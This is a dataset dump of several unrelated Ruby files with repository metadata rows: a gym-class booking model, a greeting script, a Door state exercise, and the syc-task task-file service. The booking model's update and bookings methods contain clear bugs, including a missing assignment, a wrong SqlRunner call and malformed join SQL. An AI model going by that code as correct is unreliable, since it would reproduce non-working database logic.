require_relative('../db/sql_runner') require_relative("./gymclass.rb") require_relative("./member.rb") class Signed_up attr_accessor :id, :member_id, :gymclass_id def initialize(options) @id = options['id'].to_i if options['id'] @member_id = options['member_id'] @gymclass_id = options['gymclass_id'] end def save() sql = "INSERT INTO signed_up (member_id, gymclass_id) VALUES ($1, $2) RETURNING id" values = [@member_id, @gymclass_id] signed_up = SqlRunner.run(sql, values).first @id = signed_up['id'].to_i end def self.all() sql = "SELECT * FROM signed_up" results = SqlRunner.run(sql) return results.map {|signed_up| Signed_up.new(signed_up)} end def member() sql = "SELECT * FROM members WHERE id = $1" values = [@member_id] results = SqlRunner.run(sql, values) return Member.new(results.first) end def gymclass() sql = "SELECT * FROM gymclass WHERE id = $1" values = [@gymclass_id] results = SqlRunner.run(sql, values) return Gymclass.new(results.first) end def self.delete(id) sql = "DELETE from signed_up WHERE id = $1" values = [id] SqlRunner.run(sql, values) end def self.delete_all() sql = "DELETE FROM signed_up" SqlRunner.run(sql) end def update() sql = "UPDATE signed_up SET (member_id, gymclass_id) = ($1, $2) WHERE id = $3" values [@member_id, @gymclass_id, @id] SqlRunner.run(sql, values) end def bookings() sql = "SELECT signed_up.* FROM signed_up INNER JOIN bookings.signed_up_id = signed_up.id INNER JOIN members ON member.id WHERE member.id = $1" values =[@id] results = SqlRunner(sql, values) return results.map{|results| Signed_up.new(results)} end end
true
15804723991e903bbde8eba65bd75bdf692e1552
Ruby
jameshamann/student-directory
/ex8.rb
UTF-8
116
3.265625
3
[]
no_license
puts __FILE__ puts "Hello what\'s your name?" name = gets.chomp puts "Well, hello there #{name}, nice to meet you!"
true
7e15024b3a8de21fd16089436f3f6a9bad33c7ec
Ruby
miriam-cortes/door
/door.rb
UTF-8
1,903
3.75
4
[]
no_license
# Door Exercise class Door def initialize(unlocked="unlocked",open="open",inscription=nil) @door = { is_unlocked: unlocked, is_open: open, has_inscription: inscription } end def is_door_open? if @door[:is_open] == "open" return true elsif @door[:is_open] == "closed" return false else raise ArgumentError.new("This parameter was initialized incorrectly.") end end def open_door if self.is_door_open? raise ArgumentError.new("The door is already open.") elsif self.is_door_unlocked? @door[:is_open] = "open" else raise ArgumentError.new("The door is locked.") end end def close_door if self.is_door_open? @door[:is_open] = "closed" else raise ArgumentError.new("The door is already closed.") end end def is_door_unlocked? if @door[:is_unlocked] == "unlocked" return true elsif @door[:is_unlocked] == "locked" return false else raise ArgumentError.new("This parameter initialied incorrectly.") end end def lock_door if self.is_door_open? raise ArgumentError.new("Not possible to lock because the door is open.") elsif self.is_door_unlocked? @door[:is_unlocked] = "locked" else raise ArgumentError.new ("The door is already locked.") end end def unlock_door if self.is_door_unlocked? raise ArgumentError.new("The door is already unlocked.") else @door[:is_unlocked] = "unlocked" end end def is_there_inscription? if @door[:has_inscription] == nil || @door[:has_inscription] == "" return false else return true end end def read_inscription if self.is_there_inscription? return "The door is inscribed with this message: #{@door[:has_inscription].to_s}" else return "There is no inscription." end end end
true
709868ac3d6d60a4279cbded4b4d6377091897ef
Ruby
sugaryourcoffee/syc-task
/lib/syctask/task_service.rb
UTF-8
6,605
3.015625
3
[ "MIT" ]
permissive
require 'csv' require 'yaml' require_relative 'environment.rb' # Syctask provides functions for managing tasks in a task list module Syctask # Provides services to operate tasks as create, read, find, update and save # Task objects class TaskService # Default directory where the tasks are saved to if no directory is # specified DEFAULT_DIR = Syctask::WORK_DIR #File.expand_path("~/.tasks") # Creates a new task in the specified directory, with the specified options # and the specified title. If the directory doesn't exist it is created. # When the task is created it is assigned a unique ID within the directory. # Options are # * description - additional information about the task # * follow_up - follow-up date of the task # * due - due date of the task # * prio - priority of the task # * note - information about the progress or state of the task # * tags - can be used to searching tasks that belong to a certain category def create(dir, options, title) create_dir(dir) task = Task.new(options, title, next_id(dir)) save(dir, task) Syctask::log_task("create", task) task.id end # Reads the task with given ID id located in given directory dir. If task # does not exist nil is returned otherwise the task is returned def read(dir, id) task = read_by_id(id) return task unless task.nil? #task = nil Dir.glob("#{dir}/*.task").each do |file| task = YAML.load_file(file) if File.file? file if not task.nil? and task.class == Syctask::Task and task.id == id.to_i return task end end nil end # Reads the task identified by ID. If no task with ID is found nil is # returned otherwise the task. # Note: This method might return nil even though the task exists. You should # always use #read instead. def read_by_id(id) return nil unless File.exists? Syctask::IDS ids = File.read(Syctask::IDS) entry = ids.scan(/(^#{id}),(.*\n)/)[0] return YAML.load_file(entry[1].chomp) if entry return nil end # Finds all tasks that match the given filter. The filter can be provided # for :id, :title, :description, :follow_up, :due, :tags and :prio. # id can be eather a selection of IDs ID1,ID2,ID3 or a comparison <|=|>ID. # title and :description can be a REGEX as /look for \d+ examples/ # follow-up and :due can be <|=|>DATE # tags can be eather a selection TAG1,TAG2,TAG3 or a REGEX /[Ll]ecture/ # prio can be <|=|>PRIO # dir is the directory where find looks for tasks # all specifies whether to consider also completed tasks (default) or only # open tasks def find(dir, filter={}, all=true) tasks = [] Dir.glob("#{dir}/*.task").sort.each do |file| begin File.file?(file) ? task = YAML.load_file(file) : next rescue Exception => e next # If the file is no task but read by YAML ignore it end next unless not task.nil? and task.class == Syctask::Task next if not all and task.done? tasks << task if task.matches?(filter) end tasks.sort end # Updates the task with the given id in the given directory dir with the # provided options. # Options are # * description - additional information about the task # * follow_up - follow-up date of the task # * due - due date of the task # * prio - priority of the task # * note - information about the progress or state of the task # * tags - can be used to searching tasks that belong to a certain category # Except for note and tags the values of the task are overridden with the # new value. If note and tags are provided these are added to the existing # values. def update(dir, id, options) task = read_by_id(id) unless task task_file = Dir.glob("#{dir}/#{id}.task")[0] task = YAML.load_file(task_file) if task_file end updated = false if task task.update(options) save(task.dir, task) Syctask::log_task("update", task) updated = true end updated end # Deletes tasks in the specified directory that match the provided filter. # If no filter is provide no task is deleted. The count of deleted tasks is # returned def delete(dir, filter) deleted = 0 Dir.glob("#{dir}/*.task").each do |file| begin File.file?(file) ? task = YAML.load_file(file) : next rescue Exception => e next # If the file is no task but read by YAML ignore it end next unless not task.nil? and task.class == Syctask::Task if task.matches?(filter) deleted += File.delete(file) ids = File.read(Syctask::IDS) File.write(Syctask::IDS, ids.gsub("#{task.id},#{file}","")) Syctask::log_task("delete", task) end end deleted end # Saves the task to the task directory. If dir is nil the default dir # ~/.tasks will be set. def save(dir, task) task.dir = dir.nil? ? DEFAULT_DIR : File.expand_path(dir) task_file = "#{task.dir}/#{task.id}.task" unless File.exists? task_file File.open(Syctask::IDS, 'a') {|f| f.puts "#{task.id},#{task_file}"} end File.open(task_file, 'w') {|f| YAML.dump(task, f)} end private # Creates the task directory if it does not exist def create_dir(dir) FileUtils.mkdir_p dir unless File.exists? dir end # Checks for the next possible task's ID based on the tasks available in # the task directory. The task's file name is in the form ID.task. # local_ID seeks for the biggest number and adds one to determine the # next valid task ID. def local_id(dir) tasks = Dir.glob("#{dir}/*.task") ids = [] tasks.each do |task| id = File.basename(task).scan(/^\d+(?=\.task)/)[0] ids << id.to_i if id end ids.empty? ? 1 : ids.sort[ids.size-1] + 1 end # Retrieves a new unique ID for a task. If next id is less than the next # ID in the directory a warning is printed and the higher ID is taken as # the next ID. def next_id(dir) local = local_id(dir) id = File.readlines(Syctask::ID)[0] if File.exists? Syctask::ID id = id ? id.to_i + 1 : 1 STDERR.puts "Warning: global id < local id" if id < local id = [id, local].max File.open(Syctask::ID, 'w') {|f| f.puts id} id end end end
true